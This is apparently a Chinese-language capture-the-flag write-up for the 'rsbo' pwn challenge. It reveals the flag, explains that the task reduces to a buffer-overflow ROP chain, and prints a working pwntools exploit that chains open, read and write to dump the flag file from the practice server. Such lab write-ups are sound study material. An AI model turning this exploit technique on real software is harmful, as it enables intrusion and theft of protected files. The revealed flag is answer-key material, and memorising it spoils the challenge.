rsbo
FLAG{Shuffling 15 not a problem, just a piece of cake... XDDDDD...iJgZBwpBFh1TtpQR}
IDA里看到这个程序先读取了"/home/ctf/flag"作为随机数的种子,然后用随机数打乱输入的字符串再输出。一开始以为这是某种密码学+逆向的秘法就像选择明文攻击一样破解出从flag里前 0x10u 的内容。心想这玩意也太可怕了吧然后就上网查了下。
发现就是普通的rop……用open打开flag,读取,输出 flag 就可以了……
学到的是elf.bss()返回程序的bss段,bss是可读写的可以用来存取脚本里需要的内容。
然后发现elf.start直接返回程序入口,这样就不用怕没有符号表,_start 什么的也找不到的情况了。
还有一点感觉很巧的就是用''作垃圾字段可以直接跳过根据read返回值制造的打乱循环,以后可以统一替代毫无意义的'x'(又看了眼作业截图发现学长提醒过了……)
脚本:
from pwn import *
context.terminal = ['deepin-terminal', '-x', 'sh', '-c' ]
# io = process("./rsbo", env={'LD_PRELOAD': './libc-2.23.so.i386'})
io = remote('hackme.inndy.tw', 7706)
elf = ELF("./rsbo")
main_addr = elf.start
# gdb.attach(io, "b main")
open_addr = elf.sym['open']
read_addr = elf.sym['read']
write_addr = elf.sym['write']
io.send('\x00'*108 + p32(open_addr) + p32(main_addr) + p32(0x80487d0) + p32(0))
io.send('\x00'*108 + p32(read_addr) + p32(main_addr) + p32(3) + p32(elf.bss()) + p32(100))
io.send('\x00'*108 + p32(write_addr) + p32(main_addr) + p32(1) + p32(elf.bss()) + p32(100))
io.interactive()